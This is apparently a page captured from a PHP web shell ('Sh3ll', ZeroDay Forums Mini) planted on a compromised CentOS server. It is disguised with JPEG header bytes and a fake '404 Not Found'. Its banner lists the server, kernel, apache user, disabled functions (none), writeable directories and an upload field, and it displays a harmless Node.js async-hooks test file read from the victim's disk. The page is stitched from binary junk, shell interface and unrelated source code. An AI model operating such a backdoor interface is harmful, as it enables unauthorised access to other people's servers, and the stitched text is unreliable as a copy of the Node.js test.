����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /home/real/node-v13.0.1/test/async-hooks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/real/node-v13.0.1/test/async-hooks/test-immediate.js
'use strict';

const common = require('../common');
const assert = require('assert');
const tick = require('../common/tick');
const initHooks = require('./init-hooks');
const { checkInvocations } = require('./hook-checks');

const hooks = initHooks();
hooks.enable();

// Install first immediate
setImmediate(common.mustCall(onimmediate));

const as = hooks.activitiesOfTypes('Immediate');
assert.strictEqual(as.length, 1);
const imd1 = as[0];
assert.strictEqual(imd1.type, 'Immediate');
assert.strictEqual(typeof imd1.uid, 'number');
assert.strictEqual(typeof imd1.triggerAsyncId, 'number');
checkInvocations(imd1, { init: 1 },
                 'imd1: when first set immediate installed');

let imd2;

function onimmediate() {
  let as = hooks.activitiesOfTypes('Immediate');
  assert.strictEqual(as.length, 1);
  checkInvocations(imd1, { init: 1, before: 1 },
                   'imd1: when first set immediate triggered');

  // Install second immediate
  setImmediate(common.mustCall(onimmediateTwo));
  as = hooks.activitiesOfTypes('Immediate');
  assert.strictEqual(as.length, 2);
  imd2 = as[1];
  assert.strictEqual(imd2.type, 'Immediate');
  assert.strictEqual(typeof imd2.uid, 'number');
  assert.strictEqual(typeof imd2.triggerAsyncId, 'number');
  checkInvocations(imd1, { init: 1, before: 1 },
                   'imd1: when second set immediate installed');
  checkInvocations(imd2, { init: 1 },
                   'imd2: when second set immediate installed');
}

function onimmediateTwo() {
  checkInvocations(imd1, { init: 1, before: 1, after: 1, destroy: 1 },
                   'imd1: when second set immediate triggered');
  checkInvocations(imd2, { init: 1, before: 1 },
                   'imd2: when second set immediate triggered');
  tick(1);
}

process.on('exit', onexit);

function onexit() {
  hooks.disable();
  hooks.sanityCheck('Immediate');
  checkInvocations(imd1, { init: 1, before: 1, after: 1, destroy: 1 },
                   'imd1: when process exits');
  checkInvocations(imd2, { init: 1, before: 1, after: 1, destroy: 1 },
                   'imd2: when process exits');
}

ZeroDay Forums Mini